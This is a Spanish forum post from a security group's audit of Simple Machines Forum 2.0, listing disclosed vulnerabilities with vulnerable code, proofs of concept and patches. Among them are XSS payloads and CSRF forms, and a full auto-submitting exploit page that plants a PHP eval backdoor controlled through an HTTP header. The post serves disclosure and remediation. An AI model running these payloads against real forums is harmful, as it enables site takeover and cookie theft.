(http://www.webcomparte.com/archivos_publicos/imagenes/externos/header_simpleaudit20.png)
Proyecto SimpleAudit 2.0
Es un proyecto destinado a realizar auditorías de seguridad a nivel WEB hacia el software de SMF 2.0 (Simple Machines Forum) con la finalidad de que sus desarrolladores puedan crear cada dia un software mas robusto y seguro.
Integrantes - (participando en el proyecto)- Sirdarckcat (sirdarckcat) (http://foro.elhacker.net/profiles/sirdarckcat-u80879.html)
- WHK (www.kernel32) (http://foro.elhacker.net/profiles/whk-u148268.html)
- c1c4tr1z (cicatriz.r00t) (http://foro.elhacker.net/profiles/vyrus90-u108459.html)
- LightOS (LightOS) (http://foro.elhacker.net/profiles/lightos-u370043.html%5B/url)
- YST (ysk.sft) (http://foro.elhacker.net/profiles/yst-u343460.html)
- braulio23 (brlvldvlsmrtnz) (http://foro.elhacker.net/profiles/braulio23-u300868.html)
- TU! (http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html;new#new)
Colaboradores (forman parte del proyecto pero necesitaran encontrar algo antes de tener acceso al resto de los reportes):
- Np-アクス - http://foro.elhacker.net/profiles/nphacks-u307389.html
- D3Bć1 - http://foro.elhacker.net/profiles/debci-u307244.html
- fede_cp - http://foro.elhacker.net/profiles/fedecp-u332421.html
- Jubjub - http://foro.elhacker.net/profiles/jubjub-u267996.html
- 0x0309 - http://foro.elhacker.net/profiles/0x0309-u334154.html
- Zero_Bits - http://foro.elhacker.net/profiles/zerobits-u351508.html
- 1995 - http://foro.elhacker.net/profiles/1995-u310544.html
Vulnerabilidades encontradas45(40 reportadas + 0 notificadas + 5 privadas)Último disclosure: 1 de diciembre
Próximo disclosure: 1 de enero
Backdoors encontrados1 (http://twitter.com/sirdarckcat/statuses/5195072337)
- http://foro.elhacker.net/nivel_web/backdoor_nativo_en_smf_20-t272107.0.html
Todos los resultados se irán mostrando en este lugar con todos sus detalles.
Si tienes algún comentario, pregunta, aporte o lo que necesites compartir puedes hacerlo en este post:
http://foro.elhacker.net/nivel_web/proyecto_de_auditoria_a_smf_20_laboratorio_de_bugsnivel_web-t271095.0.html
Si hay algúna vulnerabilidad o bug que no aparece en este lugar es porque todavía se mantiene en privado hasta cumplirse el plazo estimado para su posible reparación o publicación futura.
Puedes seguir la auditoría en Twitter:
http://twitter.com/simpleaudit
Además en FeedBurner:
<a href="http://twitter.com/simpleaudit">
http://feeds.feedburner.com/Twitter/Simpleaudit.gif
</a>
(http://feeds.feedburner.com/Twitter/Simpleaudit.gif) (http://twitter.com/simpleaudit)
Meneame:http://meneame.net/story/localizaron-mas-40-bugs-auditoria-smf-2.0
En este hilo se irán poniendo las vulnerabilidades hechas públicas.
El recopilatorio quedará en el primer post.
Cita de: sirdarckcat en 10 Noviembre 2009, 07:49 AM
(http://i.elhacker.net/i?i=FUoeUxq5-TVANDfmbpvLk2Vo) (http://i.elhacker.net/d?i=FUoeUxq5-TVANDfmbpvLk2Vo)
Hasta al momento la auditoría ha sido todo un éxito.
Ya se enviaron todas las vulnerabilidades encontradas. El dia 30 de noviembre serán publicadas acá lo hayan reparado o no.
Detalles
Descripción: | XSS en el input "Sitio WEB" dentro del perfil de usuario |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Profile-Modify.php:802 |
URL Vulnerable: | N/A |
PoC: | javascript:alert(document.cookie);//http://xx |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónLa vulnerabilidad se localiza en el archivo Sources/Profile-Modify.php
Linea 802
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Profile-Modify.php#802
if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;
Ya que permite la inyección de código arbitrario debido a que verifica
únicamente que contenga los carácteres "://" pero no indicaron en que
posición del string debería estar por lo cual puedes escribir "://" al
final del código inyectado encapsulandolo en un comentario tal como el
siguiente ejemplo.
PoC:En el perfil de tu usuario pon lo siguiente en el input de "Website URL"
javascript:alert(document.cookie);//ht
tp://xx
SoluciónCódigo original de SMF 1.1.10 en Sources/Profile.php linea 602
// Fix the URL...
if (isset($_POST['websiteUrl']))
{
if (strlen(trim($_POST['websiteUrl'])) > 0 && strpos($_POST['websiteUrl'], '://') === false)
$_POST['websiteUrl'] = 'http://' . $_POST['websiteUrl'];
if (strlen($_POST['websiteUrl']) < 8)
$_POST['websiteUrl'] = '';
}
reemplazar por
if($_POST['websiteUrl']){
$permitidos = array('http', 'https', 'ftp', 'ftps');
$protocolo = @explode('://', $_POST['websiteUrl']);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
if(strtolower($protocolo) == strtolower($permitido)){
$valido = true;
break;
}
}
/* La url comienza con un protocolo no válido */
if(!$valido)
$_POST['websiteUrl'] = 'http://'.$_POST['websiteUrl'];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */
/* Elimina urls no válidas */
if(strlen($_POST['websiteUrl']) < 8)
unset($_POST['websiteUrl']);
}
Código original de SMF 2.0 RC2 en Sources/Profile-Modify.php linea 753
// Fix the URL...
'input_validate' => create_function('&$value', '
if (strlen(trim($value)) > 0 && strpos($value, \'://\') === false)
$value = \'http://\' . $value;
if (strlen($value) < 8)
$value = \'\';
return true;
'),
Reemplazar por
// Parche - Fix the URL...
'input_validate' => create_function('&$value', '
if($_POST["websiteUrl"]){
$permitidos = array("http", "https", "ftp", "ftps");
$protocolo = @explode("://", $_POST["websiteUrl"]);
$protocolo = $protocolo[0];
foreach($permitidos as $permitido){
if(strtolower($protocolo) == strtolower($permitido)){
$valido = true;
break;
}
}
/* La url comienza con un protocolo no válido */
if(!$valido)
$_POST["websiteUrl"] = "http://".$_POST["websiteUrl"];
unset($permitidos, $permitido, $protocolo, $valido); /* Libera memoria */
/* Elimina urls no válidas */
if(strlen($_POST["websiteUrl"]) < 8)
unset($_POST["websiteUrl"]);
}
'),
Detalles
Descripción: | Código de ejecución remota PHP |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/ManageServer.php:1298 |
URL Vulnerable: | Themes/default/languages/index.english.php |
PoC: | en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} // |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad se localiza en el archivo Sources/ManageServer.php desde
la linea 1298
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1298
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);
y el problema esque SMF filtra de mala forma los carácteres especiales que pueden ser incluidos ya que aunque procesan via addslashses el preg_replace los omite como si fueran parte de la misma expresión regular.
Si vamos a la sección
Configuraciones->Lenguajes->Editar lenguajes
Podemos ver el listado de lenguajes, si le haces click sobre cualquier
lenguaje irás directamente a su edición y podrás notar dos cosas.
1. Al enviarte a esa sección puedes ver que te adjunta un token a la url
para evitar un ataque de tipo CSRF pero si se lo eliminas puedes ver que la
sección se visualiza de igual forma, por lo tanto si actualizamos las
configuraciones sin enviar el token vemos que se guarda igual.
En SMF hay muchas funciones y secciones que aparentemente se ve un token
pero no las usa. Este es un CSRF de ejecución de comando arbitrario
primeramente ya que un atacante remoto puede engañar al administrador
haciendo que visualize una web especialemnte preparada para el ataque y
modificar las configuraciones a gusto.
2. Si haces algún cambio en cualquier input y le das en guardar lo que hace
SMF no es guardar los valores en la base de datos sino sobreescribir
directamente el archivo de elnguajes del theme utilizado por lo tanto lo
que escribas de configuración se verá en el archivo principal de lenguaje
del theme.
3. El bug consiste principalmente en que SMF no filtra adecuadamente estos
inputs. Originalemnte en el archivo
Themes/default/languages/index.english.php dice así:
$txt['lang_locale'] = 'en_US';
$txt['lang_dictionary'] = 'en';
$txt['lang_spelling'] = 'american';
Si intentamos escribir una comilla simple SMF le agrega un slash intentando
invalidar la inyección de código pero no filtra adecuadamente el carácter
"\" por lo tanto cuando insertamos una comilla el código queda así:
$txt['lang_locale'] = 'en_US\'test';
por lo tanto aplicamos bypass y escribimos "\'" para que quede así:
$txt['lang_locale'] = 'en_US\\'test';
Por lo tanto el primer slash invalida el segundo transformandolo en un
string y validando la comilla simple, luego de eso inyectamos nuestro
código arbitrario sin comillas y cerramos con un cmentario para invalidar
el resto de la linea y evitar que se produzca un error.
Por ejemplo "\';phpinfo();//" quedaría:
$txt['lang_locale'] = 'en_US\\';phpinfo();//';
ejecutando el código de forma arbitraria y remota gracias a la falta de
token (CSRF).
PoC:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>:O</title>
</head>
<?php
/*
Prueba de concepto. Auditoría a SMF 2.0 de parte del grupo de auditores de Elhacker.Net
https://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html
*/
/* Configuraciones */
$foro_vulnerable = '';
if($_GET['act'] == 'frame'){
?>
<script>
function ejecutar(){
document.getElementById('payload').value = 'en_US\\\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //';
document.getElementById('form').submit();
}
</script>
<body onload="ejecutar();">
<form id="form" method="post" action="<?php echo $foro_vulnerable; ?>index.php?action=admin;area=languages;sa=editlang;lid=english">
<input type="hidden" name="character_set" value="ISO-8859-1" />
<input type="hidden" name="locale" id="payload" value="" />
<input type="hidden" name="dictionary" value="en" />
<input type="hidden" name="spelling" value="american" />
<input type="hidden" name="save_main" value="Save" />
</form>
</body>
<?php }else{ ?>
<body style="text-align: center;">
<h2 style="font-weight: bold; text-decoration: underline;">
Prueba de concepto
</h2>
<hr />
<div style="text-align: center;">
<img width="400" height="322" src="http://i207.photobucket.com/albums/bb73/moonlightj/HQczsxCxHV_nooooooo-i-cant-has-pres.jpg" />
<img width="400" height="322" src="http://i492.photobucket.com/albums/rr283/Hoodano12/n1559202619_124094_6213.jpg" />
</div>
<hr />
<img src="http://th40.photobucket.com/albums/e245/abbbies/th_scream.jpg" />
<img src="http://th39.photobucket.com/albums/e156/kimtisha/th_AUG2008011bw.jpg" />
<img src="http://th132.photobucket.com/albums/q9/PhilVassar/th_MarissaFile.jpg" />
<img src="http://th873.photobucket.com/albums/ab296/jrvohler/th_no.jpg" />
<img src="http://th306.photobucket.com/albums/nn256/s13vin4t0r/th_BSODGATES.jpg" />
<img src="http://th296.photobucket.com/albums/mm194/Spalders/th_nooooooo-not-the-bafftub.jpg" />
<img src="http://th233.photobucket.com/albums/ee182/vinayg18/blog/th_scary_hillary_clinton.jpg" />
<img src="http://th732.photobucket.com/albums/ww321/TSCC_Munter/th_nooooooo.jpg" />
<img src="http://th617.photobucket.com/albums/tt254/webrougt97/th_fred14.jpg" />
<img src="http://th257.photobucket.com/albums/hh209/Arganaut/th_Desecration_by_Louieville_XXIII.jpg" />
<img src="http://th4.photobucket.com/albums/y142/Tornadopotato/Photos/th_100_2521.jpg" />
<hr />
<iframe style="visibility: hidden; position: absolute; top:0px; left: 0px;" src="<?php echo $_SERVER['SCRIPT_URI']; ?>?act=frame"></iframe>
</body>
<?php } ?>
</html>
1. Ingresar como administrador al foro de pruebas
2. Modificar el archivo donde dice $foro_vulnerable=''; escribiendo la
dirección del foro sin el index.php.
3. Visualizar el archivo
Luego que visualizes el archivo tu foro se habrá infectado y a la vista de
todos no se verá absolutamente nada. Para su ejecución debes enviar un
header desde tu explorador con la variable "Exec" mas su ejecución, como
por ejemplo "Exec: phpinfo();" ya que el payload de la prueba de concepto
es la siguiente:
en_US\'; $x=$_SERVER[HTTP_EXEC];if($x){@eval($x);exit;} //
Entonces se le agregará el slash a la comilla y el slash puesto con anterioridad no será modificado quedando un \\' invalodando el slash que invalidaba a la comilla.
SoluciónCódigo original de SMF 2.0 RC2 en Sources/ManageServer.php linea 1298
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);
Debe ser reemplazado por
$replace_array = array(
'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_character_set\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['character_set'])) . '\';',
'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_locale\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['locale'])) . '\';',
'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_dictionary\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['dictionary'])) . '\';',
'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\r\n]+~' => '$txt[\'lang_spelling\'] = \'' . str_replace('\\', '\\\\', addslashes($_POST['spelling'])) . '\';',
'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' => '$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
);
Detalles
Descripción: | CSRF en el cambio del theme |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Load.php:1324 |
URL Vulnerable: | index.php?theme=2 |
PoC: | index.php?theme=2 |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónNormalmente cuando uno desea cambiar de theme lo hace en las preferencias
de diseño del perfil de cada usuario incluyendo un token para evitar CSRF
aunque no sirve de mucho ya que puedes ejecutar un cambio de theme de forma
forzada gracias a una vulnerabilidad alojada en el archivo Sources/Load.php
linea 1245
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Load.php#1245
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}
haciendo un csrf persistente ya que el id de theme lo almacena directamente
en la cookie de sesión del usuario o visitante.
Prueba de concepto:
http://localhost/smf/index.php?theme=2
SoluciónCódigo original de SMF 2.0 RC2 en Sources/Load.php linea 1324
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}
Reemplazar por
/*
elseif (!empty($_REQUEST['theme']) && (!empty($modSettings['theme_allow']) || allowedTo('admin_forum')))
{
$id_theme = (int) $_REQUEST['theme'];
$_SESSION['id_theme'] = $id_theme;
}
*/
Hay que recordar que este cambio imposibilita el cambio de theme directamente obligando a utilizar la opción del perfil si alguien lo desea.
Esto no es una feature debido a que supuestamente solamente el administrador puede utilizar este tipo de visualizaciones sin tocken pero al fallar las condiciones hace posible que esta acción sea ejecutable a todo usuario y ni aun asi debería crearse al propio administrador.
O se elimina o se pone token.
Detalles
Descripción: | CSRF en el colapso de categorias |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/BoardIndex.php:130 |
URL Vulnerable: | index.php?action=collapse;c=1;sa=collapse |
PoC: | index.php?action=collapse;c=1;sa=collapse |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónLa falla se encuentra en el archivo Sources/BoardIndex.php desde la linea
130 hasta la 150 en la función llamada "CollapseCategory" ya que al
solicitar una petición de colapso de un foro no nos pide como requsito un
token o algo que lo impida, por lo tanto desde un siomple csrf podemos
causar el colapso total de foros en la visualización inicial de la portada
del foro.
Aunque no es una vulnerabilidad que pueda comprometer al foro si es
bastante molesta y smf no debería permitir este tipo de acciones de forma
arbitraria.
Prueba de concepto:
http://localhost/smf2.0/index.php?action=collapse;c=1;sa=collapse
donde c=1 es la variable con el id de grupos de foros.
SoluciónModificar la categoría de la sección y darle click donde dice "no colapsable" mientras que simplemachines da una solución oficial ya que hay que agregar el tocken a todos sus themes y al sistema propio.
Detalles
Descripción: | CSRF en el gestor de servidores de paquetes |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Packages.php:1189 |
URL Vulnerable: | http://127.0.0.1/smf_2/index.php?action=admin;area=packages;get;sa=remove;server=1 |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónLa vulnerabilidad consiste en que puedes remover servdiores de
actualizaciones y paquetes de forma arbitraria debido a que esta acción no
solicita un token o algún tipo de verificación que lo impida:
Prueba de concepto:
http://127.0.0.1/smf_2/index.php?action=admin;area=packages;get;sa=remove;server=1
Con esto podemos hacer que el administrador elimine de forma arbitraria el
primero servidor en la lista de servidores de paquetes.
Hay que recordar que esta acción solo la puede ejecutar un administrador
por lo tanto es necesario que alguien con este tipo de derechos sobre el
foro pueda ejecutar tu csrf desde alguna imagen en tu perfil reireccionada
o desde alguna web externa.
La falla se localiza en el archivo Sources/PackageGet.php linea 740
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/PackageGet.php#740
No hay token por ningún lado de la función.
Detalles
Descripción: | XSS en la sección de administración de servidores de mods |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/PackageGet.php:732 |
URL Vulnerable: | index.php?action=packageget |
PoC: | Agregar un servidor con nombre: <h1>XSS</h1> |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónLa falla está en el archivo Sources/PackageGet.php linea 732
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/PackageGet.php#732
Donde la función "PackageServerAdd" actualiza el string del nombre del
servidor en la base de datos sin ser filtrada de ninguna forma.
Prueba de concepto:
http://127.0.0.1/smf_2/index.php?action=admin;area=packages
Donde dice "Add server" en el input del nombre del servidor pongan <h1>XSS</h1>
Detalles
Descripción: | Eliminación arbitraria y Disclosure de paquetes instalados |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Packages.php:1189 |
URL Vulnerable: | /index.php?action=admin;area=packages;sa=remove;package=.htaccess |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl problema está en el archivo Sources/Packages.php Linea 1189 en la
función PackageRemove ya que primeramente no solicita ningún token por lo
tanto es vulnerable a un ataque de tipo CSRF.
El segundo caso es que en esta linea:
// Ack, don't allow deletion of arbitrary files here, could become a
security hole somehow!
if (!isset($_GET['package']) || $_GET['package'] == 'index.php' ||
$_GET['package'] == 'installed.list')
redirectexit('action=admin;area=packages;sa=browse');
impiden la eliminación local de archivos pero no incluyeron el ".htaccess"
por lo cual puedes eliminarlo de forma arbitraria y observar el listado de
paquetes.
Pruebas de concepto:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=remove;package=paquete.zip
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=remove;package=.htaccess
Nota de sirdarckcatCitarhttp://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1196
Al parecer..
$_GET['package'] = preg_replace('~[\.]+~', '.', strtr($_GET['package'], '/', '_'));
no podemos poner "..", lo del disclosure que dice whk es que sin el htaccess ahora
podemos leer installed.list y bajar los paquetes y demas
Detalles
Descripción: | CSRF en la configuración de archivos adjuntos |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/ManageAttachments.php:117 y 162 |
URL Vulnerable: | /index.php?action=admin;area=manageattachments;sa=attachments |
PoC: | POST: attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150 |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad se trata de que puedes ejecutar modificaciones en el
panel de administración de forma arbitraria en la sección de configuración
de archivos adjuntos:
http://localhost/smf2.0/index.php?action=admin;area=manageattachments;sa=attachments
aunque lo extraño es que SMF si integra el token pero al enviar la petición
sin el nos encontramos que se ejecuta de igual forma.
La falla está en el archivo Sources/ManageAttachments.php linea 117 desde
donde se llaman a las funciones desde
// Finally fall through to what we are doing.
$subActions[$context['sub_action']]();
y la linea 162 a la209 que es la función llamada y desde que inicia el
proceso hasta que fiinaliza no se solicita ningún tipo de token.
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#117
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageAttachments.php#162
Prueba de concepto
yan@Lola:~$ nc -v 127.0.0.1 80
POST
/smf_2/index.php?action=admin;area=manageattachments;save;sa=attachments
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)
Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer:
http://127.0.0.1/smf_2/index.php?action=admin;area=manageattachments;sa=attachments
Cookie: PHPSESSID=[Cookie acá]
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
attachmentEnable=1&attachmentExtensions=com%2Cexe%2Cphp5%2Cphp4%2Cconf%2Ccfg%2Cini%2Chtaccess%2Cphp&attachmentUploadDir=%2Fopt%2Flampp%2Fhtdocs%2Fsmf_2%2Fattachments&attachmentDirSizeLimit=10240&attachmentPostLimit=192&attachmentSizeLimit=128&attachmentNumPerPostLimit=4&attachmentShowImages=1&attachmentThumbnails=1&attachmentThumbWidth=150&attachmentThumbHeight=150
Detalles
Descripción: | XSS en "Enable basic HTML in posts" |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | <img src="http:// alt="x http://www.google.com/onerror=alert(1)// x"> |
Afecta a: | SMF 2.0 RC2 |
DescripciónDe acuerdo con SMF,
CitarThis will allow the posting of some basic HTML tags:
* <b>, <u>, <i>, <s>, <em>, <ins>, <del>
* <a href="">
* <img src="" alt="" />
* <br />, <hr />
* <pre>, <blockquote>
Pero se puede hacer XSS con:
<img src="http:// alt="x http://www.google.com/onerror=alert(1)// x">
Saludos!!
Detalles
Descripción: | Remote File Disclosure (solo en logs, y similares) |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q== |
PoC: | Obligando a que la página se muestre como una CSS se le permita leer su contenido. |
Afecta a: | SMF 2.0 RC2 |
DescripciónHay una vulnerabilidad en la manera en la que el lector de logs funciona:
index.php?action=admin;area=logs;sa=errorlog;file=L2V0Yy9wYXNzd2Q==
Un atacante podria crear una serie de peticiones para crear una aparente
hoja de estilo valida, y asi capturar en IE toda la informacion que sigue
despues de cierta linea.
Detalles
Descripción: | RCSRF en las preferencias de moderación |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=moderate;area=settings |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónLas configuraciones en:
index.php?action=moderate;area=settings
Tienen token pero no lo validan.
Detalles
Descripción: | XSS en el censurador de palabras |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=admin;area=postsettings;sa=censor |
PoC: | [ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ] [ testing-xss-sdc-2 ] => [ " onerror="alert(1) ] |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónTodos los que tengan acceso al area del censurador:
index.php?action=admin;area=postsettings;sa=censor
Pueden hacer XSS en cualquier parte del foro...
PoC:
Ponga la palabra a ser censurada a la izquierda, y el reemplazo a la derecha.
[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
Detalles
Descripción: | CSRF en las encuestas |
Descubierto por: | sirdarckcat@elhacker.net |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=vote;topic=3.0;poll=1 |
PoC: | N/A |
Afecta a: | SMF 1.1.10 y 2.0 RC2 |
DescripciónSe puede desactivar el voto de un usuario si la encuesta permite cambiar de
voto.
Suponiendo que es la encuesta 1 del topic 3, entonces una peticion a:
index.php?action=vote;topic=3.0;poll=1
Borraria el voto.
Detalles
Descripción: | XSS en el instalador |
Descubierto por: | brlvldvlsmrtnz@gmail.com |
Código vulnerable: | install.php |
URL Vulnerable: | install.php |
PoC: | establecer como ruta del foro http://localhost/"><h1>xss</h1> |
Afecta a: | SMF 2.0 RC2 |
DescripciónLa vulnerabilidad está en el archivo install.php.
Es provocada por la mala filtración de carácteres especiales al producirse
algún error en algún paso de la instalación lo que puede provocar ejecución
de código html y javascript en el navegador.
Ejemplos en el código están en las funciones template_database_settings() y
template_chmod_files().
Adjunto un archivo installer modificado por mí que es supuestamente seguro
contra la vulnerabilidad encontrada.
Otra vulnerabilidad XSS que he encontrado es en el step de forum settings
es cuando te pregunta la ruta del foro, si pones
http://localhost/"><h1>Hola</h1>
Por cada enlace que ponga en el foro te saldra el <h1>Hola</h1>
Detalles
Descripción: | XSS en el instalador |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | $incontext['error'] = sprintf($txt['error_valid_email_needed'], $_POST['username']); $_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ', $_POST['username']);
|
URL Vulnerable: | install.php |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl archivos install.php sufre una vulnerabilidad de Cross-Site Scripting al
no validar las variables POST. Ejemplos:
Linea 1317:
$incontext['error'] = sprintf($txt['error_valid_email_needed'],
$_POST['username']);
Linea 1325:
$_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ',
$_POST['username']);
Entonces, al ir al paso 2 (/install.php?step=2) por ejemplo se puede
explotar en el input "db_server", asi tambien en inputs siguientes.
Detalles
Descripción: | XSS en el administrador de reglas |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | index.php?action=pm;sa=manrules |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
DescripciónEl administrador de reglas de mensajes sufre de tres ataques de Cross-Site
Request Forgery (index.php?action=pm;sa=manrules).
Primero:
<form method="POST" action="/index.php?action=pm;sa=manrules;save;rid=0">
<input type="text" name="rule_name" value="csrf">
<input type="text" name="ruletype[0]" value="mid">
<input type="text" name="ruledef[0]" value="admin">
<input type="text" name="ruledefgroup[0]" value="">
<input type="text" name="rule_logic" value="and">
<input type="text" name="acttype[0]" value="del">
<input type="text" name="labdef[0]" value="">
<input type="text" name="save" value="Save Rule">
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>
Este ataque crearía una regla que borre todos los mensajes provenientes del
user admin.
Segundo:
<form method="POST" action="/index.php?action=pm;sa=manrules">
<input type="text" name="delrule[4]" value="on">
<input type="text" name="delselected" value="Delete Selected Rules">
</form>
Este ataque borraría la regla 4.
Tercero:
<img src="/index.php?action=pm;sa=manrules;apply">
Aplicaría las reglas en el momento.
Detalles
Descripción: | XSS en el administrador de smileys |
Descubierto por: | cicatriz.r00t@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | /index.php?action=admin;area=smileys;sa=modifyset;set=1 |
PoC: | Cambiar nombre del paquete a: Nombre"/onclick="alert(0) |
Afecta a: | SMF 2.0 RC2 |
DescripciónEste ataque Cross-Site Scripting se puede producir, pero lo tilde como
"posible" por el echo de no tener el fácil acceso a la edición del nombre
de un paquete de smileys. Una de las principales barreras es el token que
no permite la ejecución de CSRF.
Para reproducir el XSS se tiene que dirigir a
"/index.php?action=admin;area=smileys;sa=modifyset;set=1" y editar el
nombre del paquetey poner algo como: Nombre"/onclick="alert(0). Y al volver
a "/index.php?action=admin;area=smileys;sa=modifyset;set=1" el XSS se
ejecutaría pero el nombre quedaría con el valor que hayamos especificado
sin que se ejecute en los sets de smileys
(/index.php?action=admin;area=smileys;sa=editsets;).
Así que lo catalogo como un problema y lo dejo al criterio de ustedes :P
Detalles
Descripción: | Desinstalación arbitraria de mods |
Descubierto por: | WHK@elhacker.net |
Código vulnerable: | Sources/Packages.php:1167 |
URL Vulnerable: | index.php?action=admin;area=packages;sa=flush |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
